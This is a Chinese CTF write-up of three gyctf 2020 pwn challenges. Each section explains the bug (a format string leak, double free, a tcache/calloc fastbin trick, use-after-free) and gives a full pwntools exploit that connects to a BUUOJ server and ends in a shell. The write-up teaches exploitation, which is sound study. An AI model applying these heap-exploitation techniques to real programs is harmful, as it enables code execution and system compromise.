目录
- gyctf_2020_some_thing_interesting(格式化字符串漏洞, double free)
- 程序分析
- 漏洞利用
- Exp
- gyctf_2020_signin(tcache unlink检查不完整)
- 题目分析
- 漏洞利用
- Exp
- gyctf_2020_document(UAF, 修改堆上指针)
- 程序分析
- 漏洞利用
- Exp
gyctf_2020_some_thing_interesting(格式化字符串漏洞, double free)
程序分析
开始前要先输入验证码,可输入长度为19,然而比较长度仅为14
这个函数中有格式化字符串漏洞,字符串为之前输入的验证码
删除之后指针没有置空,double free
漏洞利用
- 利用格式化字符串漏洞泄露libc地址
- 进行两次add,对于每次add,其中一个大小为0x68,另一个随意
- delete(1), delete(2), delete(1),该题目编号从1开始,不直接double free因为会崩
- 把chunk大小为0x70块的fd改为__malloc_hook-0x23,劫持即可
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | from pwn import * r = remote("node3.buuoj.cn", 27484) #r = process("./gyctf_2020_some_thing_interesting") context.log_level = 'debug' elf = ELF("./gyctf_2020_some_thing_interesting") libc = ELF('./libc/libc-2.23.so') one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147] def add(size1, content1, size2, content2): r.recvuntil("#######################\n") r.sendline('1') r.recvuntil("> O's length : ") r.sendline(str(size1)) r.recvuntil("> O : ") r.send(content1) r.recvuntil("> RE's length : ") r.sendline(str(size2)) r.recvuntil("> RE : ") r.send(content2) def delete(index): r.recvuntil("#######################\n") r.sendline('3') r.recvuntil("> Oreo ID : ") r.sendline(str(index)) def show(index): r.recvuntil("#######################\n") r.sendline('4') r.recvuntil("> Oreo ID : ") r.sendline(str(index)) def edit(index, content1, content2): r.recvuntil("#######################\n") r.sendline('2') r.recvuntil("> Oreo ID : ") r.sendline(str(index)) r.recvuntil("> O : ") r.sendline(content1) r.recvuntil("> RE : ") r.sendline(content2) r.recvuntil("> Input your code please:") r.sendline("OreOOrereOOreO"+'%17$p') #elf 11 libc 17 r.recvuntil("#######################\n") r.sendline('0') r.recvuntil("# Your Code is ") ''' get elf base r.recvuntil('0x') elf_base = int(r.recv(12), 16) - 0x161A success("elf_base:"+hex(elf_base)) captcha = elf_base + 0x202050 content_o = elf_base + 0x2020E0 ''' r.recvuntil('0x') start_main = int(r.recv(12), 16) - 0xf0 libc.address = start_main - libc.sym['__libc_start_main'] malloc_hook = libc.sym['__malloc_hook'] one_gadget = one_gadget_16[3] + libc.address free_hook = libc.sym['__free_hook'] system = libc.sym['system'] success("start+main"+hex(start_main)) success("libc_base:"+hex(libc.address)) add(0x68, 'chunk0\n', 0x20, 'chunk1\n') add(0x68, 'chunk2\n', 0x20, 'chunk3\n') delete(1) delete(2) delete(1) add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,p64(malloc_hook-0x23)+'\n') add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,'a'*0x13+p64(one_gadget)+'\n') r.recvuntil("#######################\n") r.sendline('1') r.recvuntil("> O's length : ") r.sendline(str(0x68)) r.interactive() |
gyctf_2020_signin(tcache unlink检查不完整)
题目分析
本题有后门函数,所以目标就是让ptr不为空
edit函数没有检查,可以UAF,不过只有一次机会
添加的机会为9次
漏洞利用
本题需要利用ubuntu 18的tcache实现
- 进行8次add(),然后全部释放,此时7个进入tcache,1个进入fastbin
- 利用edit 修改fastbin的fd为ptr-0x10
- 再进行一次add(),此次会从tcache中取出,然后触发backdoor(),进行calloc(calloc的特性会导致直接从fastbin中取出chunk),从fastbin中取出chunk之后,就把ptr-0x10当做chunk放入tcache(在链入时,会向其fd域写入链表的相关信息,并且发现,在链入过程中,不会对该chunk做size合法性检查)
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | from pwn import * r = remote("node3.buuoj.cn", 26109) #r = process("./gyctf_2020_signin") context.log_level = 'debug' DEBUG = 0 if DEBUG: gdb.attach(r, ''' b *0x4014DE b *0x401494 x/10gx 0x4040C0 c ''') elf = ELF("./gyctf_2020_signin") libc = ELF('./libc/libc-2.27.so') ptr = 0x4040C0 def add(index): r.recvuntil("your choice?") r.sendline('1') r.recvuntil("idx?\n") r.sendline(str(index)) def delete(index): r.recvuntil("your choice?") r.sendline('3') r.recvuntil("idx?\n") r.sendline(str(index)) def edit(index, content): r.recvuntil("your choice?") r.sendline('2') r.recvuntil("idx?\n") r.sendline(str(index)) r.send(content) for i in range(8): add(i) for i in range(8): delete(i) pause() edit(7, p64(ptr-0x10)) add(8) r.recvuntil("your choice?") r.sendline('6') r.interactive() |
gyctf_2020_document(UAF, 修改堆上指针)
程序分析
删除之后指针没有置空,并且只删除内容没有删除控制结构
对于每个document只有一次修改机会
并且修改时做了偏移,只能修改低0x70个字节,意味着不能修改fd
漏洞利用
- 申请两个document[0, 1],释放0,通过0泄露libc地址
- 申请document[2],此时会切割document[0]的内容的一部分作为document[2]的控制结构,把剩下的部分放入smallbin
- 释放1,1的内容进入unsorted bin,申请document[3],此时会把剩下的document[0]的内容的一部分作为document[2]的控制结构,并且document[3]的内容和document[1]的内容为同一内存
- 编辑document[0],在其中伪造一个chunk——p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8,这样就修改了document[3]的内容指针
- 编辑document[3],写入system地址,然后释放
Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | from pwn import * r = remote("node3.buuoj.cn", 28777) #r = process("./gyctf_2020_document") context.log_level = 'debug' elf = ELF("./gyctf_2020_document") libc = ELF('./libc/libc-2.23.so') one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147] menu = "Give me your choice : \n" def add(name, sex, content): r.recvuntil(menu) r.sendline('1') r.recvuntil("input name\n") r.send(name) r.recvuntil("input sex\n") r.send(sex) r.recvuntil("input information\n") r.send(content) def delete(index): r.recvuntil(menu) r.sendline('4') r.recvuntil("Give me your index : \n") r.sendline(str(index)) def show(index): r.recvuntil(menu) r.sendline('2') r.recvuntil("Give me your index : \n") r.sendline(str(index)) def edit(index, content): r.recvuntil(menu) r.sendline('3') r.recvuntil("Give me your index : \n") r.sendline(str(index)) r.recvuntil("Are you sure change sex?\n") r.send('N\n') r.recvuntil("Now change information\n") r.send(content) add('a'*8, 'b'*8, 'c'*0x70+'\n')#0 add('a'*8, 'b'*8, 'c'*0x70+'\n')#1 delete(0) show(0) malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10 success("malloc_hook:"+hex(malloc_hook)) libc.address = malloc_hook - libc.sym['__malloc_hook'] free_hook = libc.sym['__free_hook'] system = libc.sym['system'] add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#2 delete(1) add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#3 edit(0, p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8+'\n') edit(3,p64(system)+p64(0)*13+'\n') delete(1) r.interactive() |